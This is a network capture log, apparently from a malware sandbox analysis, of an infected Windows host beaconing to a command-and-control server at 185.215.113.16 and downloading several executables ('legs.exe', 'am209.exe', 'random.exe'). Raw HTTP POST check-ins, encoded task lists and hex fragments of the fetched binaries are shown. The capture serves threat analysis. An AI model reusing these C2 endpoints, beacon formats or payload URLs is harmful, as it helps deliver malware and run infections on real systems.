Jan 12, 2025 17:40:30.116585970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:30.116604090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:30.116616011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:30.116627932 CET	1236	IN	Data Raw: 56 da 68 b5 9b c8 0b f9 23 83 cb 89 b7 57 76 86 53 c2 7a f4 0d 5b cb 35 94 bf 57 86 96 8b d9 dd 12 41 0d 26 6b 59 1d e9 c3 8c 50 de 93 c1 fc 34 63 e9 10 56 37 4d 10 a1 61 5b 99 56 52 6c 68 d5 9b 3f 73 d5 36 f3 38 2a b2 5f 01 ea c1 1f 5d 23 16 8a Data Ascii: Vh#WvSz[5WA&kYP4cV7Ma[VRlh?s68*_]#Y)CZtZY;hwV++iU{fKE2PM{` =ZazVz4;s}[5HY'OOmwt?%WsjuIz%g=[';!wVKyL_C
Jan 12, 2025 17:40:30.116640091 CET	896	IN	Data Raw: fb 0f 25 65 3f e1 54 2e 46 38 b1 06 8c 11 4a 56 b7 c5 86 8d 49 26 80 ad d3 44 ba 22 c1 52 bf 10 55 39 cf 54 6d 8c 77 77 c4 5a 6b 55 9b bd 29 87 43 32 0e d1 97 c1 d7 0d 2b 6b bc e7 da a1 dc a5 8c f8 2c ae d3 8b da bf 99 73 f6 d1 eb c1 21 d0 a1 f0 Data Ascii: %e?T.F8JVI&D"RU9TmwwZkU)C2+k,s!swcv+Z;XsK#kNa\|h6%P@i ludc}>2e\|;.%QmrOu=8j558cY1"`~EkdMg]?1Dy
Jan 12, 2025 17:40:30.116652012 CET	1236	IN	Data Raw: 29 b2 77 bd 21 e7 ac 55 c1 46 f5 56 9e 72 91 d6 bb fa 00 60 6f ec 92 38 62 ee 10 c4 38 18 12 1d 9d 75 4e df 56 6f 79 c8 14 1f 15 3c 8b 59 f1 f4 f5 6e 13 a4 27 18 c7 81 89 8f 89 6a fb 39 ee e2 a1 a7 29 0d ab b9 94 2f ae ce c9 c9 4d d3 91 0d d7 8b Data Ascii: )w!UFVr`o8b8uNVoy<Yn'j9)/M4csU{C8t_\q@8^NM`lZ17NI4Q17Tz*mVc%O>tz#X>RDUTfR`G5^4GoTMIF\|SL<yAhtJ3B
Jan 12, 2025 17:40:30.116664886 CET	1116	IN	Data Raw: 10 36 00 1e 9d 08 ad e2 4a b3 0a 09 1c e9 8c 2b 34 eb e8 5f c0 4a 7e 36 2c 4d 97 0d 11 8b ab 1b 64 50 8d 2c a4 07 d1 04 a1 3e 9a c9 3b 8b 31 9e 59 f1 b5 95 59 3f e3 c4 3f a3 65 fa 9d e4 1b 1d 81 b6 cd 12 cd 13 39 62 62 0b 69 69 c2 d2 e9 2b bf fb Data Ascii: 6J+4_J~6,MdP,>;1YY??e9bbii+ Zwaq'0(hAKx'JXYN{wN\|fj, o 9W}q'_I4aqP4{~NI?tA{oVYY"VVJW9
Jan 12, 2025 17:40:30.116678953 CET	1236	IN	Data Raw: 37 c8 7d 4f a5 cb 39 86 ce f7 58 64 04 59 59 03 bc 7f fc db e5 69 9d 54 1c 16 19 fa f0 8f af e5 27 2b 43 2f 53 30 58 35 9a 2e 2d be 59 03 7e cb 83 a5 31 56 2b 7f ce 71 63 87 4a 61 d9 f0 57 51 9c 56 15 53 56 2a 10 e5 ec 6f e3 30 a0 26 ae bc 9d 56 Data Ascii: 7}O9XdYYiT'+C/S0X5.-Y~1V+qcJaWQVSV*o0&VpcwZb`86c[ac,Jzz5X}g\>#]f[^Cn'![o\+cX8={4+M}qEhp>QHP`N:Nrc)"\@DHwny2zTY
Jan 12, 2025 17:40:30.121519089 CET	1236	IN	Data Raw: 1a 4a a1 b6 d4 5b 62 63 44 8c 52 87 e4 22 77 ca 37 c9 3d dd 62 c1 27 92 e1 22 25 3b 21 61 79 50 34 26 d3 8b 34 cb 07 69 20 c0 9f 81 ee cb e0 a2 d6 44 d7 65 02 ba 32 65 19 88 4b a6 03 74 d9 61 93 3b 50 7c cc fb 93 a4 b3 f3 86 19 20 33 9c 8f 55 79 Data Ascii: J[bcDR"w7=b'"%;!ayP4&4i De2eKta;P\| 3UyWQM)@Gw\P}1w"ct5EN0Ky=/H0}"xa"\pxC?NeBS:'y\|/f\|Iq`MLuXU4d-/I

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	50054	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:57.698844910 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 12, 2025 17:40:58.434389114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jan 12, 2025 17:40:58.675121069 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Jan 12, 2025 17:40:58.932706118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 61 64 0d 0a 20 3c 63 3e 31 30 30 31 35 32 37 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 32 66 66 39 66 61 65 39 66 64 34 66 37 33 65 62 23 31 30 30 34 38 39 39 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 38 62 61 38 62 39 66 63 36 63 66 64 66 30 61 38 65 33 31 33 32 35 65 62 66 63 36 33 23 31 30 31 30 39 31 30 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 37 35 61 35 61 62 61 33 65 35 31 33 32 35 65 62 66 63 36 33 23 31 30 31 30 39 31 31 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 37 35 61 35 61 62 61 33 66 64 [TRUNCATED] Data Ascii: 5ad <c>1001527001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a72ff9fae9fd4f73eb#1004899001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db348ba8b9fc6cfdf0a8e31325ebfc63#1010910001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a775a5aba3e51325ebfc63#1010911001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a775a5aba3fd4f73eb#1011163001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a724f3f1fee21838bab0323d77c77b#1011747001+++aa0ed36554e19fbff55644f59b5567ed8b09e714c22bcffee5b872b3eeffa75f7ba0e17e76#1012309001+++aa0ed3651df49fa1a20b1eacd80f67bcdc4af948887c9aa3aee931e5aba3e21b38bdb52920268c31815fd0bc68af9abab91295bce631970db7f90d0b4e753ad0bb5933c5c8a05738#1012350001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a736f2f4ebba4478fae56a7f3cda6696#1012355001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a734f4f4eeb65963efe069643cda6696#1012792001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a72ef5f3f3be4b67a0e17e76#1012981001+++e312d3611ef49fa1f45a5fea9f5c7cf182 [TRUNCATED]
Jan 12, 2025 17:40:58.932765961 CET	408	IN	Data Raw: 31 30 31 32 39 38 32 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 61 35 66 65 61 39 66 35 63 37 63 66 31 38 32 31 36 65 35 30 61 64 63 32 64 64 30 61 30 61 33 65 36 32 36 62 33 65 66 66 62 62 64 34 65 36 34 65 33 61 Data Ascii: 1012982001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0a0a3e626b3effbbd4e64e3aa636b77#1012983001+++aa0ed36554e19fbdf44c5ef5835f7deb9d16e70b8b7293a8b9a736f2f4eba64f39a1f6677d76d073dd5fc4bc#1012984001+++aa0ed36554e19fbdf44c5ef5835f7deb9d16e7
Jan 12, 2025 17:40:59.190462112 CET	52	OUT	GET /inc/legs.exe HTTP/1.1 Host: 185.215.113.16
Jan 12, 2025 17:40:59.419487000 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:57 GMT Content-Type: application/octet-stream Content-Length: 366592 Last-Modified: Mon, 06 Jan 2025 15:57:20 GMT Connection: keep-alive ETag: "677bfd60-59800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0a 43 2c b2 00 00 00 00 00 00 00 00 e0 00 2e 01 0b 01 30 00 00 86 00 00 00 06 00 00 00 00 00 00 be a4 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 bc 45 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 70 a4 00 00 4b 00 00 00 00 c0 00 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 22 a4 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELC,.0 @ E`pKB" H.text `.rsrcB@@.reloc@B.bss@
Jan 12, 2025 17:40:59.419547081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 a4 00 00 00 00 00 00 48 00 00 00 02 00 05 00 4c 3f 00 00 8c 3f 00 00 03 00 02 Data Ascii: HL??~0V~:K( s((( ?rpsz*.(&(
Jan 12, 2025 17:40:59.419600010 CET	1236	IN	Data Raw: 00 00 0a 6f 2f 00 00 0a 80 09 00 00 04 1f 40 8d 1f 00 00 01 25 d0 37 00 00 04 28 26 00 00 0a 80 0a 00 00 04 16 80 0b 00 00 04 16 80 0c 00 00 04 14 80 0d 00 00 04 14 80 0e 00 00 04 73 27 00 00 0a 80 0f 00 00 04 16 80 10 00 00 04 73 27 00 00 0a 80 Data Ascii: o/@%7(&s's'~1~1s2j j!"#$%~1
Jan 12, 2025 17:40:59.419634104 CET	1236	IN	Data Raw: 12 05 11 06 09 11 04 1d 1f 0e 1f 1f 06 28 15 00 00 06 12 04 11 05 11 06 09 1f 0c 1f 14 1f 20 06 28 15 00 00 06 12 03 11 04 11 05 11 06 1b 1a 1f 21 06 28 16 00 00 06 12 06 09 11 04 11 05 1e 1f 0b 1f 22 06 28 16 00 00 06 12 05 11 06 09 11 04 1f 0b Data Ascii: ( (!("(#($(%(&('((()(*(+(
Jan 12, 2025 17:40:59.419667006 CET	1236	IN	Data Raw: 06 11 04 16 13 04 25 28 23 00 00 06 58 13 04 11 08 07 17 59 40 50 00 00 00 06 16 3e 49 00 00 00 11 04 11 06 61 13 0e 16 13 0f 38 2d 00 00 00 11 0f 16 3e 0c 00 00 00 11 0b 1e 62 13 0b 11 0c 1e 58 13 0c 08 11 0a 11 0f 58 11 0e 11 0b 5f 11 0c 1f 1f Data Ascii: %(#XY@P>Ia8->bXX__dX?8Ia _X _dX _dX _dX?*0j(9s78Qs8E
Jan 12, 2025 17:40:59.419701099 CET	1236	IN	Data Raw: 13 18 11 04 11 17 11 18 6f 4b 00 00 0a 11 16 17 58 13 16 11 16 11 0c 3f d4 ff ff ff 11 0d 6f 59 00 00 06 11 04 80 0e 00 00 04 dd 0d 00 00 00 09 39 06 00 00 00 08 28 4c 00 00 0a dc 06 20 28 04 00 00 6f 4d 00 00 0a 0b 16 13 19 38 fa 01 00 00 00 07 Data Ascii: oKX?oY9(L (oM8o*~oN @_ ?_(.oOoP-oQt/oR9oS(,o-ooTiX -!oU
Jan 12, 2025 17:40:59.419733047 CET	1236	IN	Data Raw: 00 00 0a 14 18 8d 15 00 00 01 25 16 02 8c 35 00 00 01 a2 25 17 03 a2 6f 7b 00 00 0a 74 32 00 00 01 2a 00 1b 30 04 00 fb 00 00 00 0d 00 00 11 02 74 34 00 00 01 6f 7c 00 00 0a 28 7d 00 00 0a 39 11 00 00 00 02 74 34 00 00 01 6f 7c 00 00 0a 0a dd d3 Data Ascii: %5%o{t20t4o\|(}9t4o\|&t4omo~orpr$po(}9t4omo~orpr$poo&or&pooo(}9'o
Jan 12, 2025 17:40:59.419766903 CET	1236	IN	Data Raw: 17 18 9c 2a 00 00 00 72 72 3e 05 00 70 6f 6a 00 00 0a 16 26 26 18 8d 1e 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 72 05 00 70 6f 6a 00 00 0a 16 26 26 18 8d 1e 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 a6 05 00 70 6f 6a 00 00 0a Data Ascii: rr>poj&&%%rrrpoj&&%%rrpoj&&%%rrpoj&&%%rrpoj&&%%rrBpoj&&%%rrvpoj&&%%rrpoj
Jan 12, 2025 17:40:59.419800043 CET	1236	IN	Data Raw: 0c 06 00 98 0c 01 0c 06 00 20 0d 5d 00 06 00 77 0d 05 0b 0e 00 8a 0d 05 0b 06 00 af 0d 05 0b 06 00 bf 0d 5d 00 06 00 d8 0d e5 0d 06 00 0e 0e 05 0b 06 00 27 0e 05 0b 06 00 5a 0e 05 0b 06 00 7e 0e 97 07 06 00 ad 0e 97 07 06 00 eb 0e dd 00 06 00 f9 Data Ascii: ]w]'Z~*2~X_B]jL'1])]t
Jan 12, 2025 17:40:59.419835091 CET	1236	IN	Data Raw: 00 03 00 86 18 52 00 57 02 10 00 00 00 00 00 03 00 c6 01 59 0a 5d 02 12 00 00 00 00 00 03 00 c6 01 62 0a 62 02 13 00 00 00 00 00 03 00 c6 01 99 0a 6d 02 16 00 84 24 00 00 00 00 91 18 aa 06 0c 01 17 00 f8 25 00 00 00 00 81 00 0b 0d 37 00 17 00 fc Data Ascii: RWY]bbm$%7%`,',1 ,;(,E0-O8-Y7:8-R7:@-c:/m==/=/
Jan 12, 2025 17:41:01.164988995 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 31 35 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1001527001&unit=246122658369
Jan 12, 2025 17:41:01.398475885 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jan 12, 2025 17:41:01.659145117 CET	54	OUT	GET /test/am209.exe HTTP/1.1 Host: 185.215.113.16
Jan 12, 2025 17:41:01.887506008 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:41:00 GMT Content-Type: application/octet-stream Content-Length: 439808 Last-Modified: Fri, 08 Nov 2024 07:05:53 GMT Connection: keep-alive ETag: "672db851-6b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 51 b8 2d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f4 04 00 00 00 02 00 00 00 00 00 d7 a1 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$BS,,,/,)#,(,/,),,(,-,-j,U%,U,U.,Rich,PELQ-g@0@@EE8@<.text `.rdataPHJ@@.datam`,B@.rsrcn@@.relocEFp@B

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	50057	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:41:00.451308012 CET	79	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Connection: Keep-Alive
Jan 12, 2025 17:41:01.161458015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:59 GMT Content-Type: application/octet-stream Content-Length: 1890304 Last-Modified: Sun, 12 Jan 2025 16:13:59 GMT Connection: keep-alive ETag: "6783ea47-1cd800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@ K3@WkJ8J @.rsrc@.idata @ p*@zfmfunjd 1@sebokevzJ@.taggant0J"@
Jan 12, 2025 17:41:01.161514997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:41:01.161555052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:41:01.161587954 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:41:01.161621094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:41:01.161655903 CET	1236	IN	Data Raw: 94 8c ad 56 93 be 7a 34 0d 3b cb b1 94 c7 73 7d d6 5b cb 35 c4 48 af 59 81 19 0e 27 4f 4f 6d 00 c2 cb 77 74 9a 3f e9 25 c3 57 cd 73 16 f7 6a 75 c5 49 7a 25 db 67 d6 3d b6 0b b6 db 13 5b 93 b4 27 3b b8 21 9b db cc 77 56 f7 ca b5 93 c8 e4 c3 4b 8b Data Ascii: Vz4;s}[5HY'OOmwt?%WsjuIz%g=[';!wVKyL_C5O{}[5H)rhAWVsZ]/OZ9Zavwiu3z.s)$x!]govahIZ{lxY+_U)By]7Z9R
Jan 12, 2025 17:41:01.161689997 CET	1236	IN	Data Raw: b2 1f 18 b5 ca b3 d6 69 dd a3 20 a6 d9 6c be a5 de 75 64 d9 a0 ab 63 15 7d dc 3e 9e 32 65 7c c7 3b 2e 25 51 6d 72 4f 75 d8 3d 8d 04 38 83 18 a4 9f 9a 6a 35 17 aa ab e2 8f 35 8d 15 ad 00 b2 38 63 83 91 e4 e3 59 31 12 d4 22 60 7e 45 6b 17 e3 64 96 Data Ascii: i ludc}>2e\|;.%QmrOu=8j558cY1"`~EkdMg]?1Dywq4:GL0CQz\6Eug#:OJK^]6g"YZd!_dST-qIBMT.]1JCw#Z*]"O
Jan 12, 2025 17:41:01.161724091 CET	672	IN	Data Raw: 8b 93 70 18 7b 27 d8 7c 06 ab cf ac eb ba 3d 82 d2 8f c5 45 58 0a 66 1f b5 3b 68 c5 dc fe a3 5a 4d 94 3a 51 b8 50 3e 52 3c 1a 7f 61 b5 5b d0 e5 55 4c e9 53 9b f1 64 15 c3 f4 6d 4f 3d 33 31 f0 b8 bc 72 20 2f 01 7a 4b e4 c7 10 24 82 77 02 2c 7d 5c Data Ascii: p{'\|=EXf;hZM:QP>R<a[ULSdmO=31r /zK$w,}\;F"1Y29*rhy]dK$'A"s<gv@a5.TAaN\Q7I6twQwQ3\;uZq]OGVT/LXlA3pLw.b2!]ZPuuYCTJ(ZxG
Jan 12, 2025 17:41:01.161757946 CET	1236	IN	Data Raw: 73 dd 60 80 83 51 08 cc b7 61 b2 dc ac 55 d2 c1 53 45 d4 4a 8a 26 b2 86 ff fe eb 66 1e 6f 61 85 2f 26 97 4b 96 7c 09 57 a1 45 ba bd e0 f0 b9 2a 0b 64 5c 39 f8 32 bf ee e0 93 57 33 64 6b d6 d2 37 2f ab 73 05 40 c8 fd 9d 57 06 d6 10 36 00 1e 9d 08 Data Ascii: s`QaUSEJ&foa/&K\|WE*d\92W3dk7/s@W6J+4_J~6,MdP,>;1YY??e9bbii+ Zwaq'0(hAKx'JXYN{wN\|fj, o 9W}q
Jan 12, 2025 17:41:01.161794901 CET	1236	IN	Data Raw: 59 03 7e cb 83 a5 31 56 2b 7f ce 71 63 87 4a 61 d9 f0 57 51 9c 56 15 53 56 2a 10 e5 ec 6f e3 30 a0 26 ae bc 9d 56 70 63 1b 77 5a a5 62 fa ef 60 0f c0 1b 80 38 12 08 36 63 5b 61 63 10 f7 7f 89 2c 4a a4 7a 7a 94 13 e9 35 fe 58 7d 67 5c 8b f6 b7 3e Data Ascii: Y~1V+qcJaWQVSV*o0&VpcwZb`86c[ac,Jzz5X}g\>#]f[^Cn'![o\+cX8={4+M}qEhp>QHP`N:Nrc)"\@DHwny2zTYbQZq/OIW`Ucs`zs+Ib?
Jan 12, 2025 17:41:01.166707993 CET	1236	IN	Data Raw: ee cb e0 a2 d6 44 d7 65 02 ba 32 65 19 88 4b a6 03 74 d9 61 93 3b 50 7c cc fb 93 a4 b3 f3 86 19 20 33 9c 8f 55 79 1c 83 fa 57 cb 85 90 51 d1 9e 9f a2 4d 29 0c 40 47 77 9e 5c c9 b0 98 f0 50 7d d5 31 b8 2a 77 22 63 dd f1 9f e5 fc a4 74 aa 0c ef 00 Data Ascii: De2eKta;P\| 3UyWQM)@Gw\P}1w"ct5EN0Ky=/H0}"xa"\pxC?NeBS:'y\|/f\|Iq`MLuXU4d-/I)DQjG$UV^]Xq.M

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	50062	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:41:04.095206022 CET	79	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Connection: Keep-Alive
